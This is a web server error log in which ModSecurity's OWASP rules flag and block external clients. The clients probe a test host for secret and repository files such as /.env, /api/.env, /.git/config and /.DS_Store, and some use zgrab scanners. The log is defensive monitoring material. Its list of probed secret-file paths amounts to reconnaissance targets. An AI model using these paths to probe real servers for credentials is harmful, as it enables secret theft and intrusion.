[Thu Oct 02 03:32:30.667394 2025] [:error] [pid 3166779] [client 45.139.104.204:49694] [client 45.139.104.204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN3WLlI7ZTZw8_M93-k0VAAAAAA"]
[Thu Oct 02 03:32:30.667777 2025] [:error] [pid 3166779] [client 45.139.104.204:49694] [client 45.139.104.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN3WLlI7ZTZw8_M93-k0VAAAAAA"]
[Thu Oct 02 03:32:30.668000 2025] [:error] [pid 3166779] [client 45.139.104.204:49694] [client 45.139.104.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN3WLlI7ZTZw8_M93-k0VAAAAAA"]
[Thu Oct 02 13:54:40.077787 2025] [:error] [pid 3166783] [client 3.140.182.19:37725] [client 3.140.182.19] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aN5oAFta7yPKyP6Au66m5wAAAAQ"]
[Thu Oct 02 13:54:40.078327 2025] [:error] [pid 3166783] [client 3.140.182.19:37725] [client 3.140.182.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aN5oAFta7yPKyP6Au66m5wAAAAQ"]
[Thu Oct 02 13:54:40.078512 2025] [:error] [pid 3166783] [client 3.140.182.19:37725] [client 3.140.182.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aN5oAFta7yPKyP6Au66m5wAAAAQ"]
[Thu Oct 02 15:43:13.932557 2025] [:error] [pid 3168831] [client 213.209.157.253:55136] [client 213.209.157.253] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN6Bcf2PcAj-FR88WBNKOgAAAAY"]
[Thu Oct 02 15:43:13.932838 2025] [:error] [pid 3168831] [client 213.209.157.253:55136] [client 213.209.157.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN6Bcf2PcAj-FR88WBNKOgAAAAY"]
[Thu Oct 02 15:43:13.932989 2025] [:error] [pid 3168831] [client 213.209.157.253:55136] [client 213.209.157.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN6Bcf2PcAj-FR88WBNKOgAAAAY"]
[Fri Oct 03 06:33:21.958733 2025] [:error] [pid 3191522] [client 185.177.72.13:42042] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN9SEflSf3xJXPlO5CxcgQAAAAM"]
[Fri Oct 03 06:33:21.958967 2025] [:error] [pid 3191522] [client 185.177.72.13:42042] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN9SEflSf3xJXPlO5CxcgQAAAAM"]
[Fri Oct 03 06:33:21.959125 2025] [:error] [pid 3191522] [client 185.177.72.13:42042] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN9SEflSf3xJXPlO5CxcgQAAAAM"]
[Fri Oct 03 06:33:22.161783 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1gAAAAc"]
[Fri Oct 03 06:33:22.162035 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1gAAAAc"]
[Fri Oct 03 06:33:22.162234 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1gAAAAc"]
[Fri Oct 03 06:33:22.187972 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1wAAAAc"]
[Fri Oct 03 06:33:22.188183 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1wAAAAc"]
[Fri Oct 03 06:33:22.188388 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W1wAAAAc"]
[Fri Oct 03 06:33:22.214793 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W2AAAAAc"]
[Fri Oct 03 06:33:22.214974 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W2AAAAAc"]
[Fri Oct 03 06:33:22.215128 2025] [:error] [pid 3196312] [client 185.177.72.13:42054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN9SEvug-ZxScuTxwp_W2AAAAAc"]
[Fri Oct 03 23:00:59.896768 2025] [:error] [pid 3191521] [client 45.148.10.246:39010] [client 45.148.10.246] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOA5iwbtAoIX7efF4Yk3XQAAAAI"]
[Fri Oct 03 23:00:59.897040 2025] [:error] [pid 3191521] [client 45.148.10.246:39010] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOA5iwbtAoIX7efF4Yk3XQAAAAI"]
[Fri Oct 03 23:00:59.897203 2025] [:error] [pid 3191521] [client 45.148.10.246:39010] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOA5iwbtAoIX7efF4Yk3XQAAAAI"]
[Sun Oct 05 00:52:16.341822 2025] [:error] [pid 3238465] [client 213.209.157.93:57744] [client 213.209.157.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOGlIN-YgtKmMOggtQmF2QAAAA0"]
[Sun Oct 05 00:52:16.342173 2025] [:error] [pid 3238465] [client 213.209.157.93:57744] [client 213.209.157.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOGlIN-YgtKmMOggtQmF2QAAAA0"]
[Sun Oct 05 00:52:16.342598 2025] [:error] [pid 3238465] [client 213.209.157.93:57744] [client 213.209.157.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOGlIN-YgtKmMOggtQmF2QAAAA0"]
[Sun Oct 05 02:54:04.035485 2025] [:error] [pid 3238577] [client 93.123.109.7:44204] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOHBrBmxg9gyttNSkZirlQAAAAA"]
[Sun Oct 05 02:54:04.035781 2025] [:error] [pid 3238577] [client 93.123.109.7:44204] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOHBrBmxg9gyttNSkZirlQAAAAA"]
[Sun Oct 05 02:54:04.035940 2025] [:error] [pid 3238577] [client 93.123.109.7:44204] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOHBrBmxg9gyttNSkZirlQAAAAA"]
[Mon Oct 06 08:48:41.046362 2025] [:error] [pid 3272778] [client 3.146.111.124:33631] [client 3.146.111.124] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aONmSZ-bKS8k-IIZljlwMQAAABY"]
[Mon Oct 06 08:48:41.046755 2025] [:error] [pid 3272778] [client 3.146.111.124:33631] [client 3.146.111.124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aONmSZ-bKS8k-IIZljlwMQAAABY"]
[Mon Oct 06 08:48:41.046944 2025] [:error] [pid 3272778] [client 3.146.111.124:33631] [client 3.146.111.124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aONmSZ-bKS8k-IIZljlwMQAAABY"]
[Thu Oct 09 21:12:21.510952 2025] [authz_core:error] [pid 3361807] [client 172.235.183.127:49856] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Oct 09 21:12:22.287040 2025] [:error] [pid 3356739] [client 172.235.183.127:49890] [client 172.235.183.127] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aOgJFvtmepgFZXzZQaCCJQAAAA0"]
[Thu Oct 09 21:12:22.287236 2025] [:error] [pid 3356739] [client 172.235.183.127:49890] [client 172.235.183.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aOgJFvtmepgFZXzZQaCCJQAAAA0"]
[Thu Oct 09 21:12:22.287388 2025] [:error] [pid 3356739] [client 172.235.183.127:49890] [client 172.235.183.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aOgJFvtmepgFZXzZQaCCJQAAAA0"]
[Thu Oct 09 21:12:22.361386 2025] [:error] [pid 3356742] [client 172.235.183.127:49898] [client 172.235.183.127] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOgJFttlVjy9O3T_B2ylIAAAABA"]
[Thu Oct 09 21:12:22.361548 2025] [:error] [pid 3356742] [client 172.235.183.127:49898] [client 172.235.183.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOgJFttlVjy9O3T_B2ylIAAAABA"]
[Thu Oct 09 21:12:22.361684 2025] [:error] [pid 3356742] [client 172.235.183.127:49898] [client 172.235.183.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOgJFttlVjy9O3T_B2ylIAAAABA"]
[Thu Oct 09 21:12:22.441539 2025] [:error] [pid 3356739] [client 172.235.183.127:49916] [client 172.235.183.127] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOgJFvtmepgFZXzZQaCCJgAAAA0"]
